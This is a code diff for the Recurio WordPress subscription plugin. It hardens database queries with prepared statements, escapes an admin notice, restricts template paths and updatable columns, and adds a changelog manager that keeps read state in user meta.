+			$wpdb->prepare( "SELECT AVG(customer_ltv) FROM {$wpdb->prefix}recurio_subscriptions WHERE customer_ltv > %d", 0 )
 		);
 		$avg_ltv               = $avg_ltv_analytics ?: ( $avg_ltv_subscriptions ?: 0 );

@@ -1706,7 +1733,8 @@
 			'pausedSubscriptions'    => $stats['paused'],
 			'cancelledSubscriptions' => $stats['cancelled'],
             // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Direct query needed for analytics
-			'expiredSubscriptions'   => $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscriptions WHERE status = 'expired'" ),
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+			'expiredSubscriptions'   => $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscriptions WHERE status = %s", 'expired' ) ),
 			'mrr'                    => $stats['mrr'],
 			'churnRate'              => $stats['churn_rate'] ?? 0,
 			'growthRate'             => $growth_rate,
@@ -1725,14 +1753,17 @@
 			'paused'    => $stats['paused'],
 			'cancelled' => $stats['cancelled'],
             // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Direct query needed for analytics
-			'pending'   => $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscriptions WHERE status = 'pending'" ),
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+			'pending'   => $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscriptions WHERE status = %s", 'pending' ) ),
 		);

 		// Get product performance (top 10 products)
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API analytics
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time analytics data
 		$product_performance = $wpdb->get_results(
-			"SELECT
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table names are safe, no user input
+			$wpdb->prepare(
+				"SELECT
                 COALESCE(p.post_title, 'Unknown Product') as product,
                 COUNT(s.id) as subscriptions,
                 COALESCE(SUM(s.billing_amount), 0) as revenue,
@@ -1743,7 +1774,9 @@
             WHERE s.product_id IS NOT NULL
             GROUP BY s.product_id
             ORDER BY revenue DESC
-            LIMIT 10"
+            LIMIT %d",
+				10
+			)
 		);

 		// Calculate churn rate for each product
@@ -1944,17 +1977,22 @@

 		// Get top churn reasons (if stored in metadata)
 		$churn_reasons = $wpdb->get_results(
-			"SELECT
-                CASE
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+			$wpdb->prepare(
+				"SELECT
+                CASE
                     WHEN cancellation_reason IS NULL OR cancellation_reason = '' THEN 'Not specified'
                     ELSE cancellation_reason
                 END as reason,
                 COUNT(*) as count
-            FROM {$wpdb->prefix}recurio_subscriptions
-            WHERE status = 'cancelled'
+            FROM {$wpdb->prefix}recurio_subscriptions
+            WHERE status = %s
             GROUP BY cancellation_reason
             ORDER BY count DESC
-            LIMIT 5"
+            LIMIT %d",
+				'cancelled',
+				5
+			)
 		);

 		$total_cancellations = array_sum( array_column( $churn_reasons, 'count' ) );
@@ -1998,8 +2036,12 @@
 	private function calculate_revenue_forecast( $wpdb ) {
 		// Get current MRR first
 		$current_mrr = $wpdb->get_var(
-			"SELECT SUM(billing_amount) FROM {$wpdb->prefix}recurio_subscriptions
-            WHERE status = 'active'"
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+			$wpdb->prepare(
+				"SELECT SUM(billing_amount) FROM {$wpdb->prefix}recurio_subscriptions
+            WHERE status = %s",
+				'active'
+			)
 		) ?: 0;

 		// Get historical revenue data for last 12 months
@@ -2190,20 +2232,25 @@

 		// Get product revenue breakdown
 		$revenue['productRevenue'] = $wpdb->get_results(
-			"SELECT
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table names are safe, no user input
+			$wpdb->prepare(
+				"SELECT
                 p.post_title as product,
                 SUM(s.billing_amount) as revenue,
                 COUNT(s.id) as count
             FROM {$wpdb->prefix}recurio_subscriptions s
             LEFT JOIN {$wpdb->posts} p ON s.product_id = p.ID
-            WHERE s.status = 'active'
+            WHERE s.status = %s
             GROUP BY s.product_id
-            ORDER BY revenue DESC"
+            ORDER BY revenue DESC",
+				'active'
+			)
 		);

 		// Get payment methods distribution from revenue table
 		$payment_methods = $wpdb->get_results(
-			"SELECT
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+			"SELECT
                 payment_method,
                 SUM(amount) as total,
                 COUNT(*) as count
@@ -2415,15 +2462,23 @@
 		$start_date = isset( $params['start_date'] ) ? sanitize_text_field( $params['start_date'] ) : '';
 		$end_date   = isset( $params['end_date'] ) ? sanitize_text_field( $params['end_date'] ) : '';

-		// Build WHERE clause
-		$where = 'WHERE 1=1';
+		// Build WHERE clause -- kept as a raw placeholder template (never pre-prepared)
+		// so it can be safely embedded into more than one $wpdb->prepare() call below.
+		$where      = 'WHERE 1=1';
+		$where_args = array();
 		if ( $start_date && $end_date ) {
-			$where .= $wpdb->prepare( ' AND r.created_at BETWEEN %s AND %s', $start_date, $end_date );
+			$where       .= ' AND r.created_at BETWEEN %s AND %s';
+			$where_args[] = $start_date;
+			$where_args[] = $end_date;
 		}

+		// $where is a raw placeholder template (built above); args are merged and match the
+		// placeholder count exactly at runtime. Table names are $wpdb->prefix-derived, not
+		// user input. The static analyzer can't trace a runtime-built placeholder string:
+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$transactions = $wpdb->get_results(
 			$wpdb->prepare(
-				"SELECT
+				"SELECT
                 r.id,
                 r.subscription_id,
                 r.amount,
@@ -2440,13 +2495,13 @@
             LEFT JOIN {$wpdb->prefix}recurio_subscriptions s ON r.subscription_id = s.id
             LEFT JOIN {$wpdb->users} u ON s.customer_id = u.ID
             LEFT JOIN {$wpdb->posts} p ON s.product_id = p.ID
-            {$where} /* phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared */
+            {$where}
             ORDER BY r.created_at DESC
             LIMIT %d OFFSET %d",
-				$per_page,
-				$offset
+				array_merge( $where_args, array( $per_page, $offset ) )
 			)
 		);
+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber

 		// Format transactions for display
 		foreach ( $transactions as &$transaction ) {
@@ -2459,11 +2514,14 @@
 			$transaction->method = $transaction->payment_method ?: 'Credit Card';
 		}

+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare -- Table name is safe, no user input; WHERE is a raw placeholder template resolved by this prepare() call
 		$total = $wpdb->get_var(
 			$wpdb->prepare(
-				"SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscription_revenue r {$where}"
+				"SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscription_revenue r {$where}",
+				$where_args
 			)
 		);
+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare

 		return new WP_REST_Response(
 			array(
@@ -2490,10 +2548,9 @@
 		// Get active goals from database
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time goal data
-        // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name safely constructed
-        // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Simple query with safe table name
 		$goals = $wpdb->get_results(
-			"SELECT * FROM $table_name WHERE status = 'active' ORDER BY end_date ASC", /* phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared */
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+			$wpdb->prepare( "SELECT * FROM $table_name WHERE status = %s ORDER BY end_date ASC", 'active' ),
 			ARRAY_A
 		);

@@ -2648,8 +2705,8 @@
 		// Return the newly created goal
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time goal data
-        // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name safely constructed
 		$new_goal = $wpdb->get_row(
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name safely constructed
 			$wpdb->prepare(
 				"SELECT * FROM $table_name WHERE id = %d", /* phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared */
 				$new_goal_id
@@ -2698,8 +2755,8 @@
 		// Check if goal exists
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time goal data
-        // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name safely constructed
 		$existing = $wpdb->get_row(
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name safely constructed
 			$wpdb->prepare(
 				"SELECT * FROM $table_name WHERE id = %d", /* phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared */
 				$goal_id
@@ -2757,8 +2814,8 @@
 		// Get updated goal
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time goal data
-        // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name safely constructed
 		$updated_goal = $wpdb->get_row(
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name safely constructed
 			$wpdb->prepare(
 				"SELECT * FROM $table_name WHERE id = %d", /* phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared */
 				$goal_id
@@ -2807,8 +2864,8 @@
 		// Check if goal exists
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time goal data
-        // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name safely constructed
 		$existing = $wpdb->get_row(
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name safely constructed
 			$wpdb->prepare(
 				"SELECT * FROM $table_name WHERE id = %d", /* phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared */
 				$goal_id
@@ -2844,8 +2901,12 @@

 		// Get recent activity count
 		$recent_activity = $wpdb->get_var(
-			"SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscription_events
-            WHERE created_at >= DATE_SUB(NOW(), INTERVAL 24 HOUR)"
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+			$wpdb->prepare(
+				"SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscription_events
+            WHERE created_at >= DATE_SUB(NOW(), INTERVAL %d HOUR)",
+				24
+			)
 		);

 		// Get today's revenue
@@ -2879,6 +2940,7 @@
 				'today' => floatval( $today_revenue ),
 			),
 			'customers'     => array(
+				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
 				'total'     => $wpdb->get_var( "SELECT COUNT(DISTINCT customer_id) FROM {$wpdb->prefix}recurio_subscriptions" ),
 				'new_today' => $wpdb->get_var(
 					$wpdb->prepare(
@@ -2921,7 +2983,9 @@
 		global $wpdb;

 		$activities = $wpdb->get_results(
-			"SELECT
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table names are safe, no user input
+			$wpdb->prepare(
+				"SELECT
                 e.*,
                 s.customer_id,
                 u.display_name as customer_name,
@@ -2931,7 +2995,9 @@
             LEFT JOIN {$wpdb->users} u ON s.customer_id = u.ID
             LEFT JOIN {$wpdb->posts} p ON s.product_id = p.ID
             ORDER BY e.created_at DESC
-            LIMIT 20"
+            LIMIT %d",
+				20
+			)
 		);

 		return new WP_REST_Response( $activities, 200 );
--- a/recurio/includes/base/base.php
+++ b/recurio/includes/base/base.php
@@ -72,7 +72,7 @@

 		?>
 			<div class="notice notice-error is-dismissible">
-				<p><?php echo $message; ?><?php if( !empty($button['url']) ): ?><a class="button" style="margin-left: 5px;" href="<?php echo esc_url($button['url']); ?>"><?php echo esc_html($button['text']); ?></a><?php endif; ?></p>
+				<p><?php echo wp_kses_post( $message ); ?><?php if( !empty($button['url']) ): ?><a class="button" style="margin-left: 5px;" href="<?php echo esc_url($button['url']); ?>"><?php echo esc_html($button['text']); ?></a><?php endif; ?></p>
 			</div>
 		<?php
 	}
--- a/recurio/includes/core/class-billing-manager.php
+++ b/recurio/includes/core/class-billing-manager.php
@@ -341,7 +341,7 @@
 					);
 				} else {
 					/* translators: %s: WooCommerce order status */
-				$error_message = sprintf( __( 'Payment failed - order status: %s', 'recurio' ), $order->get_status() );
+					$error_message = sprintf( __( 'Payment failed - order status: %s', 'recurio' ), $order->get_status() );
 					return new WP_Error( 'payment_failed', $error_message );
 				}
 			} catch ( Exception $e ) {
@@ -375,7 +375,7 @@
 				} elseif ( isset( $payment_result['message'] ) ) {
 					$error_message = $payment_result['message'];
 				} elseif ( isset( $payment_result['error'] ) ) {
-					$error_message = is_string( $payment_result['error'] ) ? $payment_result['error'] : print_r( $payment_result['error'], true );
+					$error_message = is_string( $payment_result['error'] ) ? $payment_result['error'] : wp_json_encode( $payment_result['error'] );
 				}

 				$order->update_status( 'failed', $error_message );
--- a/recurio/includes/core/class-changelog-manager.php
+++ b/recurio/includes/core/class-changelog-manager.php
@@ -0,0 +1,260 @@
+<?php
+/**
+ * Changelog Manager Class
+ * Handles version updates, notifications, and changelog display.
+ * Read state is stored in user meta (no custom table), same idea as Woolentor settings changelog API.
+ *
+ * @package Recurio
+ * @since 1.0.0
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+class Recurio_Changelog_Manager {
+
+	/**
+	 * User meta key for last changelog version the user has read through.
+	 */
+	const USER_META_READ_VERSION = 'recurio_changelog_read';
+
+	private static $instance = null;
+
+	public static function get_instance() {
+		if ( null === self::$instance ) {
+			self::$instance = new self();
+		}
+		return self::$instance;
+	}
+
+	private function __construct() {
+		add_action( 'plugins_loaded', array( $this, 'maybe_migrate_legacy_changelog_table' ), 20 );
+		add_action( 'admin_init', array( $this, 'check_for_updates' ) );
+	}
+
+	/**
+	 * One-time move from recurio_changelog_views table to user meta, then drop table.
+	 *
+	 * @return void
+	 */
+	public function maybe_migrate_legacy_changelog_table() {
+		global $wpdb;
+
+		$legacy = $wpdb->prefix . 'recurio_changelog_views';
+
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Migration-only schema check.
+		$table_exists = $wpdb->get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $legacy ) );
+		if ( $legacy !== $table_exists ) {
+			return;
+		}
+
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Migration-only full table read.
+		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input; no dynamic values in this query
+		$rows = $wpdb->get_results( "SELECT user_id, version FROM {$legacy}", ARRAY_A );
+		if ( ! empty( $rows ) ) {
+			$by_user = array();
+			foreach ( $rows as $row ) {
+				$uid = isset( $row['user_id'] ) ? (int) $row['user_id'] : 0;
+				$ver = isset( $row['version'] ) ? (string) $row['version'] : '';
+				if ( $uid < 1 || '' === $ver ) {
+					continue;
+				}
+				if ( ! isset( $by_user[ $uid ] ) || version_compare( $by_user[ $uid ], $ver, '<' ) ) {
+					$by_user[ $uid ] = $ver;
+				}
+			}
+			foreach ( $by_user as $uid => $ver ) {
+				$existing = get_user_meta( $uid, self::USER_META_READ_VERSION, true );
+				if ( ! $existing || version_compare( (string) $existing, $ver, '<' ) ) {
+					update_user_meta( $uid, self::USER_META_READ_VERSION, $ver );
+				}
+			}
+		}
+
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Migration: drop replaced table.
+		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input; DDL has no value to prepare
+		$wpdb->query( "DROP TABLE IF EXISTS `{$legacy}`" );
+	}
+
+	/**
+	 * Last changelog version string stored for the user (empty if never marked read).
+	 *
+	 * @param int $user_id User ID.
+	 * @return string
+	 */
+	private function get_user_last_read( $user_id ) {
+		$v = get_user_meta( $user_id, self::USER_META_READ_VERSION, true );
+		return $v ? (string) $v : '';
+	}
+
+	/**
+	 * Get changelog data
+	 */
+	public function get_changelog_data() {
+		return array(
+			array(
+				'version' => '1.0.2',
+				'date'    => '2026-04-15',
+				'changes' => array(
+					'Fixes'         => array(
+						esc_html__( 'Offer text showing issue in product page.', 'recurio' ),
+						esc_html__( 'Checkout page order summary showing issue with subscription product.', 'recurio' ),
+						esc_html__( 'Subscribe status showing issue with non subscription product.', 'recurio' ),
+						esc_html__( 'Email template worng billing periods showing issue with custom billing type.', 'recurio' ),
+					),
+					'Compatibility' => array(
+						esc_html__( 'Latest WordPress and WooCommerce version', 'recurio' ),
+					),
+				),
+			),
+			array(
+				'version' => '1.0.0',
+				'date'    => '2025-09-18',
+				'changes' => array(
+					'New Features'  => array(
+						esc_html__( 'Initial release', 'recurio' ),
+					),
+					'Fixes'         => array(),
+					'Improvements'  => array(),
+					'Compatibility' => array(
+						esc_html__( 'Latest WordPress and WooCommerce version', 'recurio' ),
+					),
+				),
+			),
+		);
+	}
+
+	/**
+	 * Get latest version
+	 */
+	public function get_latest_version() {
+		$changelog = $this->get_changelog_data();
+		return ! empty( $changelog[0]['version'] ) ? $changelog[0]['version'] : '1.0.0';
+	}
+
+	/**
+	 * Mark changelog as read through a version (or latest if no version).
+	 *
+	 * @param string|null $version Version string or null = latest.
+	 * @param int|null    $user_id User ID; defaults to current user.
+	 * @return bool
+	 */
+	public function mark_as_viewed( $version = null, $user_id = null ) {
+		if ( ! $user_id ) {
+			$user_id = get_current_user_id();
+		}
+
+		if ( ! $user_id ) {
+			return false;
+		}
+
+		$target  = $version ? sanitize_text_field( $version ) : $this->get_latest_version();
+		$current = $this->get_user_last_read( $user_id );
+
+		if ( $current && version_compare( $target, $current, '<' ) ) {
+			return true;
+		}
+
+		update_user_meta( $user_id, self::USER_META_READ_VERSION, $target );
+		return true;
+	}
+
+	/**
+	 * Changelog entries newer than the user's last-read pointer.
+	 *
+	 * @param int|null $user_id User ID.
+	 * @return array<int, array<string, mixed>>
+	 */
+	public function get_unread_versions( $user_id = null ) {
+		if ( ! $user_id ) {
+			$user_id = get_current_user_id();
+		}
+
+		if ( ! $user_id ) {
+			return array();
+		}
+
+		$changelog   = $this->get_changelog_data();
+		$last_read   = $this->get_user_last_read( $user_id );
+		$unread_logs = array();
+
+		foreach ( $changelog as $log ) {
+			if ( ! $last_read || version_compare( $last_read, $log['version'], '<' ) ) {
+				$unread_logs[] = $log;
+			}
+		}
+
+		return $unread_logs;
+	}
+
+	/**
+	 * Get unread count for user
+	 */
+	public function get_unread_count( $user_id = null ) {
+		return count( $this->get_unread_versions( $user_id ) );
+	}
+
+	/**
+	 * Check if user has unread updates
+	 */
+	public function has_unread_updates( $user_id = null ) {
+		return $this->get_unread_count( $user_id ) > 0;
+	}
+
+	/**
+	 * Check for plugin updates and mark new versions
+	 */
+	public function check_for_updates() {
+		$last_checked_version = get_option( 'recurio_last_changelog_version', '1.0.0' );
+		$latest_version       = $this->get_latest_version();
+
+		if ( version_compare( $latest_version, $last_checked_version, '>' ) ) {
+			update_option( 'recurio_last_changelog_version', $latest_version );
+
+			do_action( 'recurio_new_version_available', $latest_version );
+		}
+	}
+
+	/**
+	 * Get formatted changelog for display
+	 */
+	public function get_formatted_changelog( $limit = null ) {
+		$changelog = $this->get_changelog_data();
+		$user_id   = get_current_user_id();
+
+		if ( $limit ) {
+			$changelog = array_slice( $changelog, 0, $limit );
+		}
+
+		$unread_versions        = $this->get_unread_versions( $user_id );
+		$unread_version_numbers = array_column( $unread_versions, 'version' );
+
+		foreach ( $changelog as &$log ) {
+			$log['is_new'] = in_array( $log['version'], $unread_version_numbers, true );
+		}
+
+		return $changelog;
+	}
+
+	/**
+	 * Reset read state for a user (show all entries as unread again).
+	 *
+	 * @param int|null $user_id User ID.
+	 * @return bool
+	 */
+	public function clear_user_views( $user_id = null ) {
+		if ( ! $user_id ) {
+			$user_id = get_current_user_id();
+		}
+
+		if ( ! $user_id ) {
+			return false;
+		}
+
+		return (bool) delete_user_meta( $user_id, self::USER_META_READ_VERSION );
+	}
+}
+
+// Initialize the changelog manager
+Recurio_Changelog_Manager::get_instance();
--- a/recurio/includes/core/class-email-notifications.php
+++ b/recurio/includes/core/class-email-notifications.php
@@ -521,14 +521,13 @@
 	 * Get email template
 	 */
 	private function get_email_template( $template_name, $variables = array() ) {
-		// Extract variables for use in template
-		extract( $variables );
-
 		// Start output buffering
 		ob_start();

-		// Load template file if it exists, otherwise use default
-		$template_file = RECURIO_PLUGIN_DIR . 'templates/emails/' . $template_name . '.php';
+		// Load template file if it exists, otherwise use default.
+		// Custom template files receive $variables directly (no extract()) --
+		// reference fields as $variables['key'] rather than bare variable names.
+		$template_file = RECURIO_PLUGIN_DIR . 'templates/emails/' . basename( $template_name ) . '.php';
 		if ( file_exists( $template_file ) ) {
 			include $template_file;
 		} else {
--- a/recurio/includes/core/class-subscription-engine.php
+++ b/recurio/includes/core/class-subscription-engine.php
@@ -15,6 +15,50 @@
 	private static $instance = null;
 	private $table_name;

+	/**
+	 * Column whitelist for update_subscription(). Prevents attacker-controlled
+	 * array keys from reaching $wpdb->update(), whose identifier quoting does
+	 * not escape backticks embedded in column names.
+	 */
+	private static $updatable_columns = array(
+		'wc_subscription_id',
+		'customer_id',
+		'product_id',
+		'status',
+		'billing_period',
+		'billing_interval',
+		'billing_amount',
+		'payment_method',
+		'payment_token_id',
+		'billing_address',
+		'shipping_address',
+		'shipping_amount',
+		'shipping_method',
+		'trial_end_date',
+		'next_payment_date',
+		'pause_start_date',
+		'pause_end_date',
+		'cancellation_date',
+		'cancellation_reason',
+		'failed_payment_count',
+		'renewal_count',
+		'skip_count',
+		'max_renewals',
+		'payment_type',
+		'max_payments',
+		'access_timing',
+		'access_duration_value',
+		'access_duration_unit',
+		'access_end_date',
+		'switched_from_id',
+		'switched_to_id',
+		'switch_type',
+		'churn_risk_score',
+		'customer_ltv',
+		'subscription_metadata',
+		'updated_at',
+	);
+
 	public static function get_instance() {
 		if ( null === self::$instance ) {
 			self::$instance = new self();
@@ -294,6 +338,16 @@
 			$data['subscription_metadata'] = json_encode( $data['subscription_metadata'] );
 		}

+		// Restrict to known columns so array keys can never reach $wpdb->update()
+		$data = array_intersect_key( $data, array_flip( self::$updatable_columns ) );
+
+		if ( empty( $data ) ) {
+			return new WP_Error(
+				'no_valid_fields',
+				__( 'No valid fields supplied for subscription update.', 'recurio' )
+			);
+		}
+
 		// Log the data being updated for debugging

         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for subscription management
@@ -952,6 +1006,7 @@
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time revenue goals
 		$active_goals = $wpdb->get_results(
 			$wpdb->prepare(
+				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
 				"SELECT id, current_amount FROM {$table_name}
             WHERE status = 'active'
             AND %s BETWEEN start_date AND end_date",
@@ -1032,46 +1087,50 @@
 		global $wpdb;

 		$stats = array();
+		$table = $wpdb->prefix . 'recurio_subscriptions';

 		// Total subscriptions
-        // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Table name is safe, no user input
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for subscription management
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time statistics
 		$stats['total'] = $wpdb->get_var(
-			"SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscriptions"
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input; no dynamic values in this query.
+			"SELECT COUNT(*) FROM {$table}"
 		);

 		// Active subscriptions
-        // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Table name is safe, no user input
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for subscription management
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time statistics
 		$stats['active'] = $wpdb->get_var(
-			"SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscriptions WHERE status = 'active'"
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+			$wpdb->prepare( "SELECT COUNT(*) FROM {$table} WHERE status = %s", 'active' )
 		);

 		// Paused subscriptions
-        // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Table name is safe, no user input
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for subscription management
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time statistics
 		$stats['paused'] = $wpdb->get_var(
-			"SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscriptions WHERE status = 'paused'"
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+			$wpdb->prepare( "SELECT COUNT(*) FROM {$table} WHERE status = %s", 'paused' )
 		);

 		// Cancelled subscriptions
-        // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Table name is safe, no user input
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for subscription management
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time statistics
 		$stats['cancelled'] = $wpdb->get_var(
-			"SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscriptions WHERE status = 'cancelled'"
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+			$wpdb->prepare( "SELECT COUNT(*) FROM {$table} WHERE status = %s", 'cancelled' )
 		);

 		// Monthly recurring revenue (MRR)
-        // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for subscription management
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time statistics
 		$stats['mrr'] = $wpdb->get_var(
-			"SELECT SUM(billing_amount) FROM {$wpdb->prefix}recurio_subscriptions
-            WHERE status = 'active' AND billing_period = 'month'"
+			$wpdb->prepare(
+				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+				"SELECT SUM(billing_amount) FROM {$table} WHERE status = %s AND billing_period = %s",
+				'active',
+				'month'
+			)
 		);

 		// Annual recurring revenue (ARR)
@@ -1091,8 +1150,16 @@
 		}

 		$subscription_id = isset( $_POST['subscription_id'] ) ? intval( $_POST['subscription_id'] ) : 0;
-        // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Data is sanitized in update_subscription method
-		$data = isset( $_POST['data'] ) ? wp_unslash( $_POST['data'] ) : array();
+        // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Keys are validated below; values are sanitized/whitelisted in update_subscription().
+		$data = isset( $_POST['data'] ) && is_array( $_POST['data'] ) ? wp_unslash( $_POST['data'] ) : array();
+
+		// Reject any field name that isn't a plain column identifier before it goes
+		// anywhere near a query -- see update_subscription() for the authoritative
+		foreach ( array_keys( $data ) as $key ) {
+			if ( ! is_string( $key ) || ! preg_match( '/^[a-zA-Z0-9_]+$/', $key ) ) {
+				unset( $data[ $key ] );
+			}
+		}

 		$result = $this->update_subscription( $subscription_id, $data );

--- a/recurio/includes/frontend/Customer_Portal.php
+++ b/recurio/includes/frontend/Customer_Portal.php
@@ -502,7 +502,7 @@
 			"{$wpdb->prefix}recurio_subscriptions",
 			$update_data,
 			array( 'id' => $subscription_id ),
-			array( '%s' ),
+			array_fill( 0, count( $update_data ), '%s' ),
 			array( '%d' )
 		);

@@ -623,8 +623,8 @@

 		wp_send_json_success(
 			array(
-				/* translators: %s: localized new next payment date */
 				'message'               => isset( $result['new_next_payment'] )
+					/* translators: %s: localized new next payment date */
 					? sprintf( __( 'Your next billing date is now %s.', 'recurio' ), date_i18n( get_option( 'date_format' ), strtotime( $result['new_next_payment'] ) ) )
 					: __( 'Billing cycle skipped successfully.', 'recurio' ),
 				'new_next_payment'      => $result['new_next_payment'] ?? '',
